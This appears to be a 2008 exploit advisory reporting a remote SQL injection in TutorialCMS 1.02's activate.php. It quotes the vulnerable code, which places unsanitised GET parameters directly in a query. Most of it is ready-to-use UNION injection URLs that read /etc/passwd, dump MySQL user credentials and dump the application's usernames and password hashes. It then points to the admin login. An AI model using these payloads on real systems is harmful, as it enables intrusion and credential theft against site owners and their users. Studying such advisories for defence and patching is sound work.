tutorialcms102-sql.txt

`-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-  
TutorialCMS 1.02 Remote SQL Injection Vulnerability  
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-  
  
bug found by ka0x  
contact: ka0x01[at]gmail.com  
D.O.M TEAM 2008  
we are: ka0x, an0de, xarnuz  
#from spain  
  
download http://www.wavelinkmedia.com/scripts/tutorialcms/  
  
need magic_quotes_gpc = off  
  
vulnerability in activate.php  
  
vuln code:  
[...]  
  
$userName = $_GET["userName"];  
$code = $_GET["activate"];  
$sql = "SELECT activated FROM users WHERE username = '$userName' AND activated = '$code'";  
  
[...]  
  
/etc/password:  
http://[host]/activate.php?userName='/**/union/**/select/**/1,2,3,4,load_file(0x2f6574632f706173737764),6,7,8,9,9,9,9,9/*  
  
User and Password from mysql.user:  
http://[host]/activate.php?userName='/**/union/**/select/**/1,2,3,4,concat(user,0x203a3a20,password),6,7,8,9,9,9,9,9/**/from/**/mysql.user/*  
  
POC: http://[host]/activate.php?userName='/**/union/**/select/**/1,2,3,4,concat(0x757365723a20,username,0x20706173733a20,password),6,7,8,9,9,9,9,9/**/from/**/users/*  
  
The encription of password is MD5  
login: http://[host]/admin  
  
`